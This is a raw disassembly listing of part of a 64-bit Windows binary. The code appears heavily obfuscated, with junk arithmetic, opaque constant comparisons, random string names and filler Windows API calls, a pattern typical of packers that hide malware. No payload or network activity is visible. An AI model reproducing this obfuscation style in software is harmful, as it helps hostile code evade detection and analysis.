movzx eax, byte [rsp + 0x405]
movzx ecx, byte [rsp + 0x2fc]
cdq
idiv ecx
mov byte [rsp + 0x48d], al
mov dword [rsp + 0x7f50], 0xac0d
movzx eax, word [0x1402815d0]
movzx ecx, word [rsp + 0x27cc]
shl eax, cl
mov word [rsp + 0x27b4], ax
mov eax, dword [rsp + 0x7f38]
mov dword [rsp + 0x7f54], eax
mov eax, dword [rsp + 0x7f10]
mov ecx, dword [rsp + 0x7f3c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef4], eax
lea rax, [rsp + 0x104a0]
mov qword [rsp + 0x10528], rax
mov dword [rsp + 0x7f58], 0x78d1
mov dword [rsp + 0x7f5c], 0x617e
mov dword [rsp + 0x7f60], 0xb2df
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.6h1KYY7Zs
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10530], rax
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x7f28], eax
movsx eax, word [rsp + 0x1fe8]
movsx ecx, word [rsp + 0x27c0]
sar eax, cl
mov word [rsp + 0x165c], ax
lea rax, [rsp + 0x104b0]
mov qword [rsp + 0x10538], rax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov qword [rsp + 0x10540], rax
movabs rax, 0x7ccea0abb57f06
cmp qword [rsp + 0x10540], rax
je 0x1401f1dec
movabs rax, 0x561f0eab46ae2197
cmp qword [rsp + 0x10540], rax
je 0x14001707b
jmp 0x1401f1e8d
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov byte [rsp + 0x50f], al
lea rcx, str.XGgKO1_vk7p7j
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x27c8], ax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104a8]
sub rcx, rax
mov rax, rcx
mov qword [0x14023c380], rax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11a8]
sar eax, cl
mov word [rsp + 0x27b4], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x104b0], rax
movzx eax, word [rsp + 0x27b8]
movzx ecx, word [rsp + 0x27b4]
shl eax, cl
mov word [rsp + 0x11a8], ax
movsx eax, word [rsp + 0x27c0]
movsx ecx, word [rsp + 0x165c]
xor eax, ecx
mov word [rsp + 0x1fe8], ax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [0x14023c370]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x104e8], rax
lea rdx, [rsp + 0x250c8]
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7f28], eax
mov eax, dword [rsp + 0x68f0]
mov ecx, dword [rsp + 0x7f54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f00], eax
mov eax, dword [rsp + 0x7f40]
add eax, 9
mov dword [rsp + 0x7f40], eax
mov eax, dword [rsp + 0x7f10]
mov ecx, dword [rsp + 0x7f3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef4], eax
movzx ecx, word [rsp + 0x27bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27c4], ax
movzx eax, byte [rsp + 0x405]
movzx ecx, byte [rsp + 0x48d]
sub eax, ecx
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104b8]
add rcx, rax
mov rax, rcx
mov qword [0x14023c380], rax
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [rsp + 0x27b4]
and eax, ecx
mov word [rsp + 0x27b8], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x48d]
sub eax, ecx
mov rcx, qword [rsp + 0x104f0]
mov byte [rcx], al
movsx eax, byte [0x14023c038]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50e], al
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x405]
sub eax, ecx
mov byte [rsp + 0x48d], al
mov eax, dword [rsp + 0x7f10]
mov ecx, dword [rsp + 0x7f3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef4], eax
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x7f34], eax
cmp dword [rsp + 0x7f40], 0xad6c
jne 0x1400170df
mov rax, qword [rsp + 0x104a0]
mov qword [rsp + 0x10548], rax
mov dword [rsp + 0x7f64], 0x44aa
mov eax, dword [rsp + 0x7f38]
movzx ecx, al
mov eax, dword [rsp + 0x68f0]
shl eax, cl
mov dword [rsp + 0x7f54], eax
mov dword [rsp + 0x7f68], 0xa137
mov eax, dword [rsp + 0x7f10]
mov dword [rsp + 0x7f6c], eax
cmp dword [rsp + 0x7f6c], 0xf5c4
je 0x14001730b
jmp 0x1400173a4
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x10508], rax
movsx eax, byte [0x14023c038]
movsx ecx, byte [rsp + 0x50e]
or eax, ecx
mov rcx, qword [0x1402815c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x48d]
sar eax, cl
mov byte [rsp + 0x50f], al
movzx eax, word [rsp + 0x27b4]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x27cc], ax
mov r8, qword [rsp + 0x104a8]
mov rax, qword [rsp + 0x10528]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x104f0]
movzx ecx, byte [rax]
call fcn.1401f21c0
jmp 0x1401f1dd3
cmp dword [rsp + 0x7f5c], 0x8e98
jae 0x14001754d
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x10508]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50f]
sub eax, ecx
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0x10538]
mov rcx, qword [0x14023c380]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10500]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x104e8], rax
mov eax, dword [rsp + 0x7f38]
mov ecx, dword [rsp + 0x7f00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
movsx eax, word [rsp + 0x27c0]
movsx ecx, word [rsp + 0x1fe8]
and eax, ecx
mov word [rsp + 0x165c], ax
mov dword [rsp + 0x26ed0], 0x11c
mov rcx, qword [rsp + 0x104c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11a8]
add eax, ecx
mov word [0x1402815d0], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x104b8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x7f08], eax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x10508]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7f5c]
add eax, 0xfb
mov dword [rsp + 0x7f5c], eax
movsx eax, word [rsp + 0x27c0]
movsx ecx, word [rsp + 0x165c]
sar eax, cl
mov word [rsp + 0x1fe8], ax
movzx eax, byte [rsp + 0x2fc]
movzx ecx, byte [rsp + 0x50d]
xor eax, ecx
mov byte [rsp + 0x50f], al
mov eax, dword [rsp + 0x7f10]
movzx ecx, al
mov eax, dword [rsp + 0x7ef4]
shl eax, cl
mov dword [rsp + 0x7f3c], eax
jmp 0x1400173a4
mov rax, qword [rsp + 0x104a0]
mov rcx, qword [rsp + 0x10500]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10548], rax
mov dword [rsp + 0x7f74], 0x785b
movzx eax, word [rsp + 0x27b8]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
and eax, ecx
movzx ecx, word [rsp + 0x27cc]
movzx edx, word [rsp + 0x11a8]
add ecx, edx
cmp eax, ecx
jne 0x1400176c7
mov r9d, 0x8c
mov r8d, 0xa
mov edx, 0xf2
mov rcx, qword [rsp + 0x10550]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x10558], rax
mov eax, dword [rsp + 0x68f0]
mov ecx, dword [rsp + 0x7f38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
movzx eax, word [rsp + 0x11a8]
movzx ecx, word [rsp + 0x27b4]
sub eax, ecx
mov word [rsp + 0x27b8], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14023c380], rax
movzx eax, byte [rsp + 0x405]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50f], al
movsx eax, word [rsp + 0x165c]
movsx ecx, word [rsp + 0x27c0]
and eax, ecx
mov word [rsp + 0x1fe8], ax
lea r8, [rsp + 0x25030]
lea rdx, [fcn.1401f1fa0]
mov rcx, qword [rsp + 0x10520]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x7f78], eax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27cc]
add eax, ecx
mov rcx, qword [rsp + 0x10518]
mov word [rcx], ax
mov rax, qword [rsp + 0x104b8]
mov rcx, qword [rsp + 0x10538]
mov qword [rsp + 0x10560], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10560]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x104a8], rax
jmp 0x14001772c
mov eax, dword [rsp + 0x7ef4]
mov ecx, dword [rsp + 0x7f3c]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x7f10]
jne 0x14001772c
mov eax, dword [rsp + 0x7ef4]
mov ecx, dword [rsp + 0x7f3c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f10], eax
mov rax, qword [0x14023c370]
mov rcx, qword [rsp + 0x104e8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x10548], rax
mov edx, dword [rsp + 0x7ef4]
movzx ecx, word [rsp + 0x27c0]
call fcn.1401f1fa0
mov eax, dword [rsp + 0x7f38]
movzx ecx, al
mov eax, dword [rsp + 0x68f0]
sar eax, cl
mov dword [rsp + 0x6a58], eax
movsx eax, word [rsp + 0x27c0]
movsx ecx, word [rsp + 0x1fe8]
sub eax, ecx
mov word [rsp + 0x165c], ax
movsx eax, word [rsp + 0x165c]
mov dword [rsp + 0x7f7c], eax
cmp dword [rsp + 0x7f7c], 0x58c
je 0x14001777e
jmp 0x1400177d5
lea r8, [rsp + 0xce]
xor edx, edx
mov rcx, qword [rsp + 0x10568]
call qword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [rsp + 0x7f80], eax
movzx eax, word [rsp + 0x27b8]
movzx ecx, word [rsp + 0x27b4]
and eax, ecx
mov word [0x1402815d0], ax
movsx eax, byte [0x14023c038]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xce], al
jmp 0x140017864
lea rax, [rsp + 0x27cc]
mov qword [rsp + 0x10570], rax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov qword [rsp + 0x10578], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.C1UMNmYWZUTURUo3U
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10580], rax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27b4], ax
mov rax, qword [rsp + 0x104a0]
mov qword [rsp + 0x10588], rax
mov eax, dword [rsp + 0x68f0]
mov ecx, dword [rsp + 0x7f00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov qword [rsp + 0x10590], rax
movabs rax, 0x7692fe6ce65ae6
cmp qword [rsp + 0x10590], rax
je 0x1400178a9
jmp 0x14001793b
mov eax, dword [rsp + 0x7ef4]
mov ecx, dword [rsp + 0x7f10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f3c], eax
movsx eax, word [rsp + 0x165c]
movsx ecx, word [rsp + 0x27c0]
sub eax, ecx
mov word [rsp + 0x1fe8], ax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104a8]
add rcx, rax
mov rax, rcx
mov qword [0x14023c380], rax
mov edx, dword [rsp + 0x7f84]
mov rcx, qword [rsp + 0x10598]
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov dword [rsp + 0x7f80], eax
mov rax, qword [rsp + 0x10578]
mov rcx, qword [rsp + 0x104b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
jmp 0x140017986
movzx eax, byte [rsp + 0x405]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50f], al
lea rcx, str.UDe_Um7w1S_ZXQJKpji
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x27c4], ax
movsx eax, word [rsp + 0x165c]
movsx ecx, word [rsp + 0x27c0]
xor eax, ecx
mov word [rsp + 0x112c], ax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11a8]
sar eax, cl
mov word [rsp + 0x27b4], ax
mov eax, dword [rsp + 0x7f38]
mov dword [rsp + 0x7f88], eax
mov dword [rsp + 0x7f8c], 0x454e
xor edx, edx
mov eax, dword [rsp + 0x7f10]
div dword [rsp + 0x7f3c]
mov dword [rsp + 0x7ef4], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10500]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x10588], rax
cmp dword [rsp + 0x7f74], 0x88e1
je 0x140017c83
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x7f1c], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50e]
shl eax, cl
mov byte [rsp + 0xce], al
mov rcx, qword [rsp + 0x104c8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x10578]
mov rcx, qword [rsp + 0x104b8]
sub rcx, rax
mov rax, rcx
mov qword [0x14023c380], rax
movzx eax, word [rsp + 0x11a8]
movzx ecx, word [rsp + 0x27b4]
add eax, ecx
mov word [rsp + 0x27b8], ax
mov eax, dword [rsp + 0x7f74]
add eax, 0xeb
mov dword [rsp + 0x7f74], eax
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f90], eax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x405]
and eax, ecx
mov byte [rsp + 0x2fc], al
movsx eax, word [rsp + 0x27c0]
movsx ecx, word [rsp + 0x112c]
sub eax, ecx
mov word [rsp + 0x1fe8], ax
mov rax, qword [rsp + 0x104b8]
mov rcx, qword [rsp + 0x10578]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10508], rax
mov rcx, qword [rsp + 0x10580]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x7f24], eax
mov eax, dword [rsp + 0x7f10]
mov ecx, dword [rsp + 0x7ef4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f3c], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [0x14023c370]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xda68], rax
mov eax, dword [rsp + 0x7f38]
mov ecx, dword [rsp + 0x7f00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f88], eax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27b4], ax
movzx eax, byte [rsp + 0x2fc]
movzx ecx, byte [rsp + 0x405]
add eax, ecx
mov byte [rsp + 0x50d], al
movsx eax, word [0x1402815c2]
movsx ecx, word [rsp + 0x165c]
add eax, ecx
mov word [0x14023c378], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x10578]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x104b8], rax
movzx eax, byte [rsp + 0x50f]
movzx ecx, byte [rsp + 0x48d]
shl eax, cl
mov rcx, qword [rsp + 0x104f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x7ef4]
movzx ecx, al
mov eax, dword [rsp + 0x7f3c]
shr eax, cl
mov dword [rsp + 0x7f10], eax
mov edx, 0x584b7e
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10548]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10500], rax
movsx eax, byte [rsp + 0x50e]
movsx ecx, byte [0x14023c038]
add eax, ecx
mov byte [rsp + 0xce], al
mov eax, dword [rsp + 0x7f88]
mov ecx, dword [rsp + 0x6a58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f00], eax
jmp 0x1400179f1
movzx eax, word [rsp + 0x11a8]
mov word [rsp + 0x27d0], ax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402815d0], ax
movzx ecx, word [rsp + 0x27c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27c8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f1c], eax
mov eax, dword [rsp + 0x7f44]
add eax, 0x99
mov dword [rsp + 0x7f44], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10588]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x50d]
movzx ecx, byte [rsp + 0x48d]
add eax, ecx
mov byte [rsp + 0x405], al
movsx eax, word [rsp + 0x27c0]
movsx ecx, word [0x14023c378]
add eax, ecx
mov word [rsp + 0x1fe8], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x7f94], eax
mov rax, qword [rsp + 0x10548]
mov rcx, qword [rsp + 0x104a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7f38]
movzx ecx, al
mov eax, dword [rsp + 0x7f54]
shl eax, cl
mov dword [rsp + 0x68f0], eax
mov rax, qword [rsp + 0x104b8]
mov rcx, qword [rsp + 0x10538]
mov qword [rsp + 0x105a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x105a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x10578], rax
movzx eax, byte [rsp + 0x50d]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x50f], al
movsx eax, byte [0x14023c038]
movsx ecx, byte [rsp + 0xce]
xor eax, ecx
mov rcx, qword [0x1402815c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1fe8]
movsx ecx, word [rsp + 0x112c]
and eax, ecx
mov word [rsp + 0x165c], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x104b0], rax
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x10578]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a8], rax
movsx eax, word [0x1402815c2]
movsx ecx, word [rsp + 0x112c]
sub eax, ecx
mov word [rsp + 0x1fe8], ax
movsx eax, byte [rsp + 0x50e]
movsx ecx, byte [0x14023c038]
add eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x104e8], rax
cmp dword [rsp + 0x7f44], 0x56cd
jne 0x140017c93
movzx eax, word [rsp + 0x27b4]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
imul eax, ecx
movzx ecx, word [0x1402815d0]
movzx edx, word [rsp + 0x11a8]
add ecx, edx
cmp eax, ecx
jle 0x1401f1d39
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov qword [rsp + 0x105a8], rax
cmp qword [rsp + 0x105a8], 0
je 0x140017f55
movabs rax, 0x7491e063941ab2
cmp qword [rsp + 0x105a8], rax
je 0x140017f2a
jmp 0x1401f1c78
mov rax, qword [rsp + 0x10508]
mov rcx, qword [rsp + 0x10578]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
call fcn.1401f2280
jmp 0x1401f1c78
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10588]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xda68]
mov rdx, qword [rsp + 0x104a0]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14001802d
lea rax, [rsp + 0x10518]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x7f98]
mov r8d, dword [rsp + 0x7f9c]
lea rdx, [rsp + 0x48d]
mov rcx, qword [rsp + 0x105b0]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
mov dword [rsp + 0x7f78], eax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10508], rax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402815d0], ax
movzx eax, word [rsp + 0x27b8]
movzx ecx, word [rsp + 0x27b4]
sub eax, ecx
mov word [rsp + 0x11a8], ax
movzx ecx, byte [rsp + 0x48d]
call fcn.1401f20f0
jmp 0x1400180e0
mov eax, dword [rsp + 0x7f3c]
imul eax, dword [rsp + 0x7f10]
cmp eax, dword [rsp + 0x7ef4]
jae 0x1400180e0
mov r8d, 0x96
mov rdx, qword [rsp + 0x105b8]
mov rcx, qword [rsp + 0x105c0]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [rsp + 0x7f3c], eax
movsx eax, word [rsp + 0x112c]
movsx ecx, word [rsp + 0x27c0]
sar eax, cl
mov word [rsp + 0x165c], ax
movsx eax, byte [rsp + 0x50e]
movsx ecx, byte [0x14023c038]
xor eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10508]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10578], rax
mov rax, qword [rsp + 0x10500]
movzx ecx, al
mov rax, qword [rsp + 0x10548]
shl rax, cl
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7f38]
mov ecx, dword [rsp + 0x68f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f88], eax
cmp dword [rsp + 0x7f4c], 0x1bfb
jae 0x140018342
mov eax, dword [rsp + 0x7f10]
mov ecx, dword [rsp + 0x7ef4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f3c], eax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x405]
sub eax, ecx
mov byte [rsp + 0x50d], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xa808
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f94], eax
mov eax, dword [rsp + 0x7f4c]
add eax, 0xa
mov dword [rsp + 0x7f4c], eax
mov rcx, qword [rsp + 0x104c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x7fa0], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50e]
add eax, ecx
mov rcx, qword [0x1402815c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27cc]
add eax, ecx
mov word [rsp + 0x11a8], ax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10578]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10508], rax
lea rdx, [rsp + 0x104d8]
mov rcx, qword [rsp + 0x10580]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7f24], eax
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [rsp + 0x27b4]
and eax, ecx
mov word [rsp + 0x27b8], ax
mov eax, dword [rsp + 0x68f0]
mov ecx, dword [rsp + 0x7f88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a58], eax
mov eax, dword [rsp + 0x7f3c]
mov ecx, dword [rsp + 0x7f10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef4], eax
mov rax, qword [rsp + 0x104a0]
mov rcx, qword [rsp + 0x10528]
mov qword [rsp + 0x105c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x105c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10548], rax
movsx eax, word [rsp + 0x165c]
movsx ecx, word [0x1402815c2]
or eax, ecx
mov word [rsp + 0x1fe8], ax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50e]
sar eax, cl
mov rcx, qword [0x1402815c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10578]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10508], rax
movsx eax, byte [rsp + 0xce]
movsx ecx, byte [0x14023c038]
and eax, ecx
mov byte [rsp + 0x50e], al
movsx eax, word [rsp + 0x165c]
movsx ecx, word [rsp + 0x27c0]
sub eax, ecx
mov word [rsp + 0x1fe8], ax
movzx eax, word [0x1402815d0]
movzx ecx, word [rsp + 0x27b4]
add eax, ecx
mov word [rsp + 0x11a8], ax
jmp 0x1400180f9
mov eax, dword [rsp + 0x68f0]
mov ecx, dword [rsp + 0x7f38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x78c0], eax
mov eax, dword [rsp + 0x7f10]
mov dword [rsp + 0x7fa4], eax
cmp dword [rsp + 0x7fa4], 0x2676
je 0x14001838c
cmp dword [rsp + 0x7fa4], 0x7e302a1
je 0x14001842a
jmp 0x1401f1c32
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x104a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xda68], rax
mov eax, dword [rsp + 0x7ef4]
mov ecx, dword [rsp + 0x7f3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f10], eax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x48d]
sub eax, ecx
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27cc]
add eax, ecx
mov word [0x1402815d0], ax
movsx eax, word [rsp + 0x1fe8]
movsx ecx, word [rsp + 0x165c]
and eax, ecx
mov word [rsp + 0x112c], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rax]
call fcn.1401f22f0
jmp 0x1401f1c32
lea rax, [rsp + 0x50f]
mov qword [rsp + 0x105d0], rax
mov eax, dword [rsp + 0x7f10]
mov dword [rsp + 0x7fa8], eax
cmp dword [rsp + 0x7fa8], 0xd175
je 0x1401f1ad6
cmp dword [rsp + 0x7fa8], 0x7e302a1
je 0x14001846b
jmp 0x1401f1b42
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104b0]
sub rcx, rax
mov rax, rcx
